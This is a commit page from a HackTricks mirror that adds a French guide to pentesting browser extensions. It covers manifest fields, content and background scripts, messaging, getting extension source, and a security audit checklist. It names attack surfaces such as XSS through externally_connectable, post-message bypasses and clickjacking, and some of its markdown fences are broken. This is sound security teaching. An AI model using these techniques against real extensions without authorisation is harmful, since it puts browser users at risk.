mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/browser-extension-pentesting-methodology/REA
This commit is contained in:
parent
7115c7834e
commit
acac0ead45
25 changed files with 2781 additions and 2658 deletions
|
@ -0,0 +1,611 @@
|
|||
# Méthodologie de Pentesting d'Extensions de Navigateur
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de Base
|
||||
|
||||
Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur propre [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec les DOMs d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité (CIA) d'autres sites.
|
||||
|
||||
## Composants Principaux
|
||||
|
||||
La structure d'une extension est mieux visualisée et se compose de trois composants. Examinons chaque composant en détail.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Scripts de Contenu**
|
||||
|
||||
Chaque script de contenu a un accès direct au DOM d'une **page web unique** et est donc exposé à des entrées **potentiellement malveillantes**. Cependant, le script de contenu ne contient aucune permission autre que la capacité d'envoyer des messages au noyau de l'extension.
|
||||
|
||||
Pour voir et déboguer les scripts de contenu dans Chrome, vous pouvez ouvrir le menu des outils de développement de Chrome depuis Options > Plus d'outils > Outils de développement OU (Appuyez sur - Ctrl + Shift + I).
|
||||
|
||||
Avec les outils de développement affichés, cliquez sur l'onglet **Source**, puis sur l'onglet **Scripts de Contenu**. Ici, vous pouvez voir les scripts de contenu en cours d'exécution des différentes extensions et placer des points d'arrêt pour surveiller le flux d'exécution. Dans notre cas, nous avons montré via l'extension de navigateur Wappalyzer. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Noyau de l'Extension**
|
||||
|
||||
Le noyau de l'extension contient la plupart des privilèges/accès de l'extension, mais le noyau de l'extension ne peut interagir avec le contenu web que via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) et les scripts de contenu. De plus, le noyau de l'extension n'a pas d'accès direct à la machine hôte.
|
||||
|
||||
### **Binaire Natif**
|
||||
|
||||
L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur.** Le binaire natif interagit avec le noyau de l'extension via l'interface de programmation d'applications de plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plug-ins de navigateur.
|
||||
|
||||
### Limites
|
||||
|
||||
{% hint style="danger" %}
|
||||
Pour obtenir les pleins privilèges de l'utilisateur, un attaquant doit convaincre l'extension de passer une entrée malveillante du script de contenu au noyau de l'extension et du noyau de l'extension au binaire natif.
|
||||
{% endhint %}
|
||||
|
||||
Chaque composant de l'extension est séparé des autres par des **limites de protection solides**. Chaque composant s'exécute dans un **processus du système d'exploitation séparé**. Les scripts de contenu et les noyaux d'extension s'exécutent dans des **processus sandbox** inaccessibles à la plupart des services du système d'exploitation.  
|
||||
|
||||
De plus, les scripts de contenu sont séparés de leurs pages web associées en **s'exécutant dans un tas JavaScript séparé**. Le script de contenu et la page web ont **accès au même DOM sous-jacent**, mais les deux **n'échangent jamais de pointeurs JavaScript**, empêchant la fuite de fonctionnalités JavaScript.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Une extension Chrome est simplement un dossier ZIP avec une extension de fichier [.crx](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la structure, les permissions et d'autres options de configuration.
|
||||
|
||||
Exemple :
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
"name": "My extension",
|
||||
"version": "1.0",
|
||||
"permissions": [
|
||||
"storage"
|
||||
],
|
||||
"content_scripts": [
|
||||
{
|
||||
"js": [
|
||||
"script.js"
|
||||
],
|
||||
"matches": [
|
||||
"https://example.com/*",
|
||||
"https://www.example.com/*"
|
||||
],
|
||||
"exclude_matches": ["*://*/*business*"],
|
||||
}
|
||||
],
|
||||
"background": {
|
||||
"scripts": [
|
||||
"background.js"
|
||||
]
|
||||
},
|
||||
"options_ui": {
|
||||
"page": "options.html"
|
||||
}
|
||||
}
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Les scripts de contenu sont **chargés** chaque fois que l'utilisateur **navigue vers une page correspondante**, dans notre cas toute page correspondant à l'expression **`https://example.com/*`** et ne correspondant pas à la regex **`*://*/*/business*`**. Ils s'exécutent **comme les propres scripts de la page** et ont un accès arbitraire au [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) de la page.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
"js": [
|
||||
"script.js"
|
||||
],
|
||||
"matches": [
|
||||
"https://example.com/*",
|
||||
"https://www.example.com/*"
|
||||
],
|
||||
"exclude_matches": ["*://*/*business*"],
|
||||
}
|
||||
],
|
||||
```
|
||||
Afin d'inclure ou d'exclure davantage d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
|
||||
Voici un exemple de script de contenu qui ajoutera un bouton d'explication à la page lorsque [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour récupérer la valeur `message` du stockage de l'extension.
|
||||
```js
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
let div = document.createElement("div");
|
||||
div.innerHTML = result.message + " <button>Explain</button>";
|
||||
div.querySelector("button").addEventListener("click", () =>
|
||||
{
|
||||
chrome.runtime.sendMessage("explain");
|
||||
});
|
||||
document.body.appendChild(div);
|
||||
});
|
||||
```
|
||||
```json
|
||||
{
|
||||
"name": "Exemple d'extension basée sur activeTab",
|
||||
"version": "1.0",
|
||||
"description": "Injecte des scripts de contenu dans l'onglet actif",
|
||||
"permissions": ["activeTab"],
|
||||
"background": {
|
||||
"scripts": ["background.js"],
|
||||
"persistent": false
|
||||
},
|
||||
"browser_action": {
|
||||
"default_popup": "popup.html"
|
||||
},
|
||||
"manifest_version": 2
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Lorsque ce bouton est cliqué, le script de contenu **utilise** [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) **pour envoyer un message aux pages de l'extension**. C'est parce qu'un script de contenu n'a accès directement qu'à un nombre limité d'APIs telles que `storage`. Tout le reste doit être effectué par les pages de l'extension auxquelles les scripts de contenu peuvent envoyer des messages.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Les **capacités des scripts de contenu** diffèrent légèrement selon le navigateur. Pour les navigateurs basés sur Chromium, vous pouvez trouver la liste dans la [documentation des développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), pour Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) est la source ultime.\
|
||||
Rappelez-vous que le script de contenu peut également **communiquer avec les scripts d'arrière-plan** afin qu'ils effectuent des actions et renvoient la réponse.
|
||||
{% endhint %}
|
||||
|
||||
### Scripts de contenu injectés
|
||||
|
||||
{% hint style="success" %}
|
||||
Notez que les **scripts de contenu ne sont pas obligatoires** car il est également possible de **injecter** des scripts **dynamiquement** et de les **injecter de manière programmatique** dans des pages web via **`tabs.executeScript`**. Cela offre en fait plus de **contrôles granulaires**.
|
||||
{% endhint %}
|
||||
|
||||
Pour injecter un script de contenu de manière programmatique, votre extension a besoin de [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle elle essaie d'injecter des scripts. Les permissions d'hôte peuvent être accordées soit en les **demandant** dans le manifeste de votre extension, soit temporairement via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)**.**
|
||||
|
||||
#### Exemple d'extension basée sur activeTab
|
||||
|
||||
{% code title="manifest.json" %}
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
...
|
||||
"permissions": [
|
||||
"activeTab",
|
||||
"scripting"
|
||||
],
|
||||
"background": {
|
||||
"service_worker": "background.js"
|
||||
},
|
||||
"action": {
|
||||
"default_title": "Action Button"
|
||||
}
|
||||
}
|
||||
```
|
||||
* **Injecter un fichier JS au clic :**
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange";
|
||||
|
||||
//service-worker.js - Inject the JS file
|
||||
chrome.action.onClicked.addListener((tab) => {
|
||||
chrome.scripting.executeScript({
|
||||
target: { tabId: tab.id },
|
||||
files: ["content-script.js"]
|
||||
});
|
||||
});
|
||||
```
|
||||
* **Injecter une fonction** au clic :
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
document.body.style.backgroundColor = "orange";
|
||||
}
|
||||
|
||||
chrome.action.onClicked.addListener((tab) => {
|
||||
chrome.scripting.executeScript({
|
||||
target : {tabId : tab.id},
|
||||
func : injectedFunction,
|
||||
});
|
||||
});
|
||||
```
|
||||
#### Exemple avec des permissions de script
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
excludeMatches : [ "*://*/*business*" ],
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
|
||||
// ANother example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
Afin d'inclure ou d'exclure davantage d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
|
||||
### Scripts de contenu `run_at`
|
||||
|
||||
Le champ `run_at` contrôle **quand les fichiers JavaScript sont injectés dans la page web**. La valeur préférée et par défaut est `"document_idle"`.
|
||||
|
||||
Les valeurs possibles sont :
|
||||
|
||||
* **`document_idle`** : Dès que possible
|
||||
* **`document_start`** : Après tous les fichiers de `css`, mais avant que toute autre construction du DOM ou exécution de script ait lieu.
|
||||
* **`document_end`** : Immédiatement après que le DOM soit complet, mais avant que les sous-ressources telles que les images et les cadres soient chargées.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
...
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["https://*.nytimes.com/*"],
|
||||
"run_at": "document_idle",
|
||||
"js": ["contentScript.js"]
|
||||
}
|
||||
],
|
||||
...
|
||||
}
|
||||
|
||||
```
|
||||
Via **`service-worker.js`**
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([{
|
||||
id : "test",
|
||||
matches : [ "https://*.nytimes.com/*" ],
|
||||
runAt : "document_idle",
|
||||
js : [ "contentScript.js" ],
|
||||
}]);
|
||||
```
|
||||
### `arrière-plan`
|
||||
|
||||
Lorsque les scripts de contenu envoient un message, leur destination est la **page d'arrière-plan**. La page d'arrière-plan est une page spéciale qui est **toujours présente** sauf indication contraire dans le manifeste de l'extension. Elle est invisible pour l'utilisateur, bien qu'elle soit une page normale avec son propre DOM et tout. Sa fonction est généralement de coordonner toutes les autres parties de l'extension.
|
||||
|
||||
{% hint style="success" %}
|
||||
Si une page d'arrière-plan n'est pas déclarée explicitement, le navigateur va gentiment **en générer une** automatiquement et s'assurer que tous les **scripts d'arrière-plan déclarés sont chargés** dedans, comme dans l'exemple précédent de manifest.json.
|
||||
{% endhint %}
|
||||
|
||||
Exemple de script d'arrière-plan :
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
||||
{
|
||||
if (request == "explain")
|
||||
{
|
||||
chrome.tabs.create({ url: "https://example.net/explanation" });
|
||||
}
|
||||
})
|
||||
```
|
||||
Il utilise l'[API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) pour écouter les messages. Lorsqu'un message `"explain"` est reçu, il utilise l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) pour ouvrir une page dans un nouvel onglet.
|
||||
|
||||
### Pages d'options et autres
|
||||
|
||||
Les extensions de navigateur peuvent contenir différents types de pages :
|
||||
|
||||
* Les **pages d'action** sont affichées dans un **menu déroulant lorsque l'icône de l'extension** est cliquée.
|
||||
* Des pages que l'extension va **charger dans un nouvel onglet**.
|
||||
* **Pages d'Options** : Cette page s'affiche au-dessus de l'extension lorsqu'on clique dessus. Dans le manifeste précédent, dans mon cas, j'ai pu accéder à cette page dans `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Contrairement à la page d'arrière-plan, ces pages ne sont pas persistantes mais se chargent au besoin. Pourtant, toutes peuvent **recevoir des messages de scripts de contenu**. Et toutes ont **un accès complet aux API spécifiques à l'extension**, dans la mesure où les permissions de l'extension le permettent.
|
||||
|
||||
Ensemble, les contextes pertinents pour les extensions de navigateur ressemblent à ceci :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles permissions** l'extension de navigateur a (stockage, localisation...) et sur **quelles pages web**.
|
||||
|
||||
Comme les extensions de navigateur peuvent être si **privilégiées**, une malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**.
|
||||
|
||||
Vérifiez comment ces paramètres fonctionnent et comment ils pourraient être abusés dans :
|
||||
|
||||
{% content-ref url="browext-permissions-and-host_permissions.md" %}
|
||||
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `content_security_policy`
|
||||
|
||||
Une **politique de sécurité de contenu** peut également être déclarée dans le `manifest.json`. Si une est définie, elle pourrait être **vulnérable**.
|
||||
|
||||
Le paramètre par défaut pour les pages d'extension de navigateur est plutôt restrictif :
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
Pour plus d'informations sur CSP et les contournements potentiels, consultez :
|
||||
|
||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
pour qu'une page web puisse accéder à une page d'une Extension de Navigateur, une page `.html` par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\
|
||||
Par exemple :
|
||||
```javascript
|
||||
{
|
||||
...
|
||||
"web_accessible_resources": [
|
||||
{
|
||||
"resources": [ "images/*.png" ],
|
||||
"matches": [ "https://example.com/*" ]
|
||||
},
|
||||
{
|
||||
"resources": [ "fonts/*.woff" ],
|
||||
"matches": [ "https://example.com/*" ]
|
||||
}
|
||||
],
|
||||
...
|
||||
}
|
||||
```
|
||||
Ces pages sont accessibles via des URL comme :
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
Dans les extensions publiques, **l'ID de l'extension est accessible** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Cependant, si le paramètre `manifest.json` **`use_dynamic_url`** est utilisé, cet **ID peut être dynamique**.
|
||||
|
||||
Le fait d'être autorisé à accéder à ces pages rend ces pages **potentiellement vulnérables au ClickJacking** :
|
||||
|
||||
{% content-ref url="browext-clickjacking.md" %}
|
||||
[browext-clickjacking.md](browext-clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Permettre à ces pages d'être chargées uniquement par l'extension et non par des URL aléatoires pourrait prévenir les attaques de ClickJacking.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
Selon la [**documentation**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), la propriété du manifeste `"externally_connectable"` déclare **quelles extensions et pages web peuvent se connecter** à votre extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) et [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
* Si la clé **`externally_connectable`** n'est **pas** déclarée dans le manifeste de votre extension ou si elle est déclarée comme **`"ids": ["*"]`**, **toutes les extensions peuvent se connecter, mais aucune page web ne peut se connecter**.
|
||||
* Si **des ID spécifiques sont spécifiés**, comme dans `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **seules ces applications** peuvent se connecter.
|
||||
* Si des **correspondances** sont spécifiées, ces applications web pourront se connecter :
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
* Si c'est spécifié comme vide : **`"externally_connectable": {}`**, aucune application ou page web ne pourra se connecter.
|
||||
|
||||
Le **moins d'extensions et d'URLs** indiquées ici, la **surface d'attaque sera plus petite**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si une page web **vulnérable aux XSS ou à la prise de contrôle** est indiquée dans **`externally_connectable`**, un attaquant pourra **envoyer des messages directement au script de fond**, contournant complètement le script de contenu et sa CSP.
|
||||
|
||||
Par conséquent, c'est un **contournement très puissant**.
|
||||
{% endhint %}
|
||||
|
||||
## Communication Web **↔︎** Script de Contenu
|
||||
|
||||
Bien que les environnements d'exécution des **scripts de contenu et des pages** qui les hébergent soient **isolés** l'un de l'autre, ils **partagent l'accès au DOM de la page**. Si la page souhaite communiquer avec le script de contenu, ou avec l'extension via le script de contenu, elle doit le faire à travers le **DOM partagé**.
|
||||
|
||||
### Post Messages
|
||||
|
||||
{% code title="content-script.js" %}
|
||||
```javascript
|
||||
var port = chrome.runtime.connect();
|
||||
|
||||
window.addEventListener("message", (event) => {
|
||||
// We only accept messages from ourselves
|
||||
if (event.source !== window) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (event.data.type && (event.data.type === "FROM_PAGE")) {
|
||||
console.log("Content script received: " + event.data.text);
|
||||
port.postMessage(event.data.text);
|
||||
}
|
||||
}, false);
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="example.js" %}
|
||||
```
|
||||
```javascript
|
||||
document.getElementById("theButton").addEventListener("click", () => {
|
||||
window.postMessage(
|
||||
{type : "FROM_PAGE", text : "Hello from the webpage!"}, "*");
|
||||
}, false);
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Une communication Post Message sécurisée devrait vérifier l'authenticité du message reçu, cela peut être fait en vérifiant :
|
||||
|
||||
* **`event.isTrusted`** : Cela est vrai uniquement si l'événement a été déclenché par une action de l'utilisateur
|
||||
* Le script de contenu pourrait attendre un message uniquement si l'utilisateur effectue une action
|
||||
* **domaine d'origine** : Il peut être vérifié contre une liste blanche de domaines.
|
||||
* Si une regex est utilisée, soyez très prudent
|
||||
* **Source** : `received_message.source !== window` peut être utilisé pour vérifier si le message provient **de la même fenêtre** où le Script de Contenu écoute.
|
||||
|
||||
Les vérifications précédentes, même si effectuées, pourraient être vulnérables, donc vérifiez dans la page suivante **les contournements potentiels de Post Message** :
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Iframe
|
||||
|
||||
Une autre manière possible de communication pourrait être à travers **les URL d'Iframe**, vous pouvez trouver un exemple dans :
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DOM
|
||||
|
||||
Ce n'est pas "exactement" une manière de communiquer, mais **le web et le script de contenu auront accès au DOM web**. Donc, si le **script de contenu** lit des informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (parce que le web ne devrait pas être considéré comme fiable, ou parce que le web est vulnérable aux XSS) et **compromettre le Script de Contenu**.
|
||||
|
||||
Vous pouvez également trouver un exemple de **XSS basé sur le DOM pour compromettre une extension de navigateur** dans :
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Informations Sensibles en Mémoire/Code
|
||||
|
||||
Si une Extension de Navigateur stocke **des informations sensibles dans sa mémoire**, celles-ci pourraient être **extraites** (surtout sur les machines Windows) et **recherchées** pour ces informations.
|
||||
|
||||
Par conséquent, la mémoire de l'Extension de Navigateur **ne devrait pas être considérée comme sécurisée** et **les informations sensibles** telles que les identifiants ou les phrases mnémoniques **ne devraient pas être stockées**.
|
||||
|
||||
Bien sûr, **ne mettez pas d'informations sensibles dans le code**, car elles seront **publiques**.
|
||||
|
||||
## Communication Script de Contenu **↔︎** Script d'Arrière-plan
|
||||
|
||||
Un Script de Contenu peut utiliser les fonctions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) pour envoyer un message **sérialisable en JSON à usage unique**.
|
||||
|
||||
Pour gérer la **réponse**, utilisez la **Promise** retournée. Cependant, pour la compatibilité ascendante, vous pouvez toujours passer un **callback** comme dernier argument.
|
||||
|
||||
L'envoi d'une requête à partir d'un **script de contenu** ressemble à ceci :
|
||||
```
|
||||
```javascript
|
||||
(async () => {
|
||||
const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
||||
// do something with response here, not outside the function
|
||||
console.log(response);
|
||||
})();
|
||||
```
|
||||
L'envoi d'une requête depuis l'**extension** (généralement un **script d'arrière-plan**) vers un script de contenu est similaire, sauf que vous devez spécifier à quel onglet l'envoyer. Cet exemple montre comment envoyer un message au script de contenu dans l'onglet sélectionné.
|
||||
```javascript
|
||||
(async () => {
|
||||
const [tab] = await chrome.tabs.query({active: true, lastFocusedWindow: true});
|
||||
const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
||||
// do something with response here, not outside the function
|
||||
console.log(response);
|
||||
})();
|
||||
```
|
||||
À **l'extrémité réceptrice**, vous devez configurer un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **écouteur d'événement** pour gérer le message. Cela ressemble à la même chose depuis un script de contenu ou une page d'extension.
|
||||
```javascript
|
||||
chrome.runtime.onMessage.addListener(
|
||||
function(request, sender, sendResponse) {
|
||||
console.log(sender.tab ?
|
||||
"from a content script:" + sender.tab.url :
|
||||
"from the extension");
|
||||
if (request.greeting === "hello")
|
||||
sendResponse({farewell: "goodbye"});
|
||||
}
|
||||
);
|
||||
```
|
||||
Dans l'exemple ci-dessus, **`sendResponse()`** a été appelé de manière synchrone. Si vous souhaitez utiliser `sendResponse()` de manière **asynchrone**, ajoutez `return true;` au gestionnaire d'événement `onMessage`.
|
||||
|
||||
> Si plusieurs pages écoutent les événements `onMessage`, **seule la première à appeler `sendResponse()`** pour un événement particulier réussira à envoyer la réponse. Toutes les autres réponses à cet événement seront ignorées.
|
||||
|
||||
Pour les nouvelles extensions, vous devriez préférer les promesses aux rappels (callbacks). Si vous utilisez des rappels, le rappel `sendResponse()` n'est valide que s'il est utilisé de manière synchrone, ou si le gestionnaire d'événement retourne `true` pour indiquer qu'il répondra de manière asynchrone. Le rappel de la fonction `sendMessage()` sera invoqué automatiquement si aucun gestionnaire ne retourne true ou si le rappel `sendResponse()` est collecté par le garbage collector.
|
||||
|
||||
## Charger une Extension dans le Navigateur
|
||||
|
||||
1. **Téléchargez** l'Extension pour Navigateur et décompressez-la
|
||||
2. Allez sur **`chrome://extensions/`** et **activez** le `Mode Développeur`
|
||||
3. Cliquez sur le bouton **`Charger l'extension non empaquetée`**
|
||||
|
||||
Dans **Firefox**, vous allez sur **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Charger un module temporaire`**.
|
||||
|
||||
## Obtenir le code source depuis le magasin
|
||||
|
||||
Depuis [**ici**](https://gist.github.com/paulirish/78d6c1406c901be02c2d):
|
||||
|
||||
### Option 1 : Téléchargement de l'extension en ligne de commande sous forme de zip et extraction
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
extension_id=jifpbeccnghkjeaalbbjmodiffmgedin # change this ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Merci à crxviewer pour l'[URL de téléchargement magique](https://github.com/Rob--W/crxviewer/blob/6113c25e3569e1ec59365ad9a177aa97e2bcda61/src/cws_pattern.js#L27-L74).
|
||||
|
||||
### Option 2 : Utiliser le site web CRX Viewer
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### Option 3 : Utiliser l'extension CRX Viewer
|
||||
|
||||
L'[extension Chrome pour visualiser le code source](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) est open source ([dépôt github](https://github.com/Rob--W/crxviewer)) et rend cela très facile.
|
||||
|
||||
### Option 3 : Voir le code source d'une extension installée localement
|
||||
|
||||
1. Trouvez le répertoire de profil local de Chrome. Ouvrez `chrome://version/` et trouvez le champ "Chemin du profil:". Ouvrez ce dossier.
|
||||
2. Ouvrez le sous-dossier `Extensions/`
|
||||
3. Toutes vos extensions sont ici, avec généralement une source lisible.
|
||||
|
||||
#### Correspondance entre les IDs des extensions installées localement et les noms
|
||||
|
||||
* Sur `about:extensions`, activez le Mode Développeur et vous verrez les IDs sous chaque entrée
|
||||
* Dans les dossiers `Extensions/`, le fichier manifest.json contient un champ `name` lisible
|
||||
|
||||
## Liste de vérification pour l'audit de sécurité
|
||||
|
||||
Bien que les Extensions de Navigateur aient une **surface d'attaque limitée**, certaines peuvent contenir des **vulnérabilités** ou des **améliorations de durcissement potentielles**. Voici les plus courantes :
|
||||
|
||||
* [ ] **Limiter** autant que possible les **`permissions`** demandées
|
||||
* [ ] **Limiter** autant que possible les **`host_permissions`**
|
||||
* [ ] Utiliser une **politique de sécurité de contenu (`content_security_policy`)** **forte**
|
||||
* [ ] **Limiter** autant que possible l'attribut **`externally_connectable`**, si aucun n'est nécessaire et possible, ne pas le laisser par défaut, spécifier **`{}`**
|
||||
* [ ] Si une **URL vulnérable aux XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages aux scripts en arrière-plan directement**. Contournement très puissant.
|
||||
* [ ] **Limiter** autant que possible les **`web_accessible_resources`**, même vide si possible.
|
||||
* [ ] Si **`web_accessible_resources`** n'est pas nul, vérifier la présence de [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Si une **communication** a lieu de l'**extension** vers la **page web**, [**vérifier les vulnérabilités XSS**](browext-xss-example.md) **causées dans la communication**.
|
||||
* [ ] Si les Post Messages sont utilisés, vérifier les [**vulnérabilités des Post Messages**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] Si le **Content Script accède aux détails du DOM**, vérifier qu'ils **n'introduisent pas de XSS** s'ils sont **modifiés** par le web
|
||||
* [ ] Mettre un accent particulier si cette communication est également impliquée dans la **communication Content Script -> Script en arrière-plan**
|
||||
* [ ] **Les informations sensibles ne doivent pas être stockées** dans le code de l'Extension de Navigateur
|
||||
* [ ] **Les informations sensibles ne doivent pas être stockées** dans la mémoire de l'Extension de Navigateur
|
||||
|
||||
## Outils
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
* Télécharge n'importe quelle extension Chrome à partir d'un lien fourni du Chrome webstore.
|
||||
* **Visualiseur de `manifest.json`** : affiche simplement une version JSON joliment formatée du manifeste de l'extension.
|
||||
